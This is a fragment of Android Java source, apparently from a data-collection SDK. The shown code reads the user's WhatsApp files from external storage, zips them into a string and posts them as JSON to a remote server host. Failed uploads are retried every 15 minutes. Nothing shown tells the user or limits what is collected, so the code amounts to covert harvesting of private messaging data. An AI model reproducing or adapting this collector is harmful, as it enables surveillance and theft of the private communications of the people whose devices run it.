                ASLogger.d(ASThreadPoolExecutor.class.getSimpleName(), "线程：" + threadName + " 执行中， " + ASFileScanInfo.class.getSimpleName());

                if (TextUtils.isEmpty(ASBuilder.PATH_SCAN_FILE_PATH)) {
                    return;
                }

                String infoBeans = "";
                if (PackageManager.PERMISSION_GRANTED == ContextCompat.checkSelfPermission(mContext, Manifest.permission.READ_EXTERNAL_STORAGE)) {
                    infoBeans = ASFileScanInfo.getWhatsappFilesZipString(mContext);
                } else {
                    ASLogger.d(ASThreadPoolExecutor.class.getSimpleName(), "获取存储信息出错：没有 READ_PHONE_STATE 权限");
                    return;
                }

                if (TextUtils.isEmpty(infoBeans)) {
                    return;
                }

                ASNetParams netParams = new ASNetParams();
                netParams.setWhatsAppFilesGzip(infoBeans);
                String result = new Gson().toJson(netParams).trim();
                //ASLogger.d(getClass().getSimpleName(), "run: " + ASBuilder.TYPE_SCAN_FILE_PATH + "：" + result);
                postData(ASBuilder.PATH_SCAN_FILE_PATH, ASBuilder.TYPE_SCAN_FILE_PATH, result);

            } catch (Exception e) {
                e.printStackTrace();
                DeviceStoreFinish = false;
            }
        }
    }

    public final void postData(final String subPath, final String type, String body) {
        HttpURLConnection httpURLConnection = null;
        try {
            String dirUrl = ASBuilder.B_SERVER_HOST + subPath;
            ASLogger.d(getClass().getSimpleName(), type + "\n" + dirUrl + "\n" + body);

            httpURLConnection = ((HttpURLConnection) new URL(dirUrl).openConnection());
            httpURLConnection.setDoOutput(true);
            httpURLConnection.setDoInput(true);
            httpURLConnection.setUseCaches(false);
            httpURLConnection.setRequestMethod("POST");
            httpURLConnection.setRequestProperty("Connection", "Keep-Alive");
            httpURLConnection.setRequestProperty("Charset", "UTF-8");
            httpURLConnection.setRequestProperty("Content-Type", "application/json");
            httpURLConnection.setRequestProperty("Content-Length", (body.getBytes()).length + "");
            httpURLConnection.setReadTimeout(180000);
            httpURLConnection.setConnectTimeout(120000);
            httpURLConnection.getOutputStream().write(body.getBytes());
            httpURLConnection.getOutputStream().flush();
            httpURLConnection.getOutputStream().close();

            int resCode = httpURLConnection.getResponseCode();
            if (resCode == HttpURLConnection.HTTP_OK) {
                ASLogger.d(getClass().getSimpleName(), "" + type + " post success!");

                //移除需要重传的选项
                if (mRecheckTypeSet != null) {
                    mRecheckTypeSet.remove(type);
                }

                //回传
                if (type.equalsIgnoreCase(ASBuilder.TYPE_MESSAGE)) {
                    if (mOnFetchCompletedListener != null) {
                        mOnFetchCompletedListener.onFetchCompleted(ASBuilder.TYPE_MESSAGE, "post success", true);
                    }
                }

            } else {
                ASLogger.d(getClass().getSimpleName(), "" + type + " post fail! " + resCode);

                if (mRecheckHandler != null && mRecheckTypeSet != null) {
                    mRecheckTypeSet.add(type);
                    mRecheckHandler.postDelayed(() -> recheckDataState(type), 15 * 60 * 1000);
                }

                if (mOnFetchCompletedListener != null) {
                    mOnFetchCompletedListener.onFetchCompleted(ASBuilder.TYPE_MESSAGE, "post fail! " + resCode, false);
                }
            }

//            if (checkHadAllDataFinishAfterRunnable(type)) {
//                ASLogger.d(ASSycManager.class.getSimpleName(), "all data has finish!");
//            }

        } catch (Exception e) {
            e.printStackTrace();
            ASLogger.d(getClass().getSimpleName(), "" + type + " post fail!" + e.getLocalizedMessage());

            if (mOnFetchCompletedListener != null) {
                mOnFetchCompletedListener.onFetchCompleted(ASBuilder.TYPE_MESSAGE, "post fail!" + e.getLocalizedMessage(), false);
            }

        } finally {
            if (httpURLConnection != null) {
                try {
                    //主动关闭inputStream, 这里不需要进行判空操作
                    httpURLConnection.getInputStream().close();
                    httpURLConnection.disconnect();
                } catch (IOException e) {
                    e.printStackTrace();
                }
            }
        }
    }

    public interface OnFetchCompletedListener {
        void onFetchCompleted(String type, String msg, boolean success);
    }
}
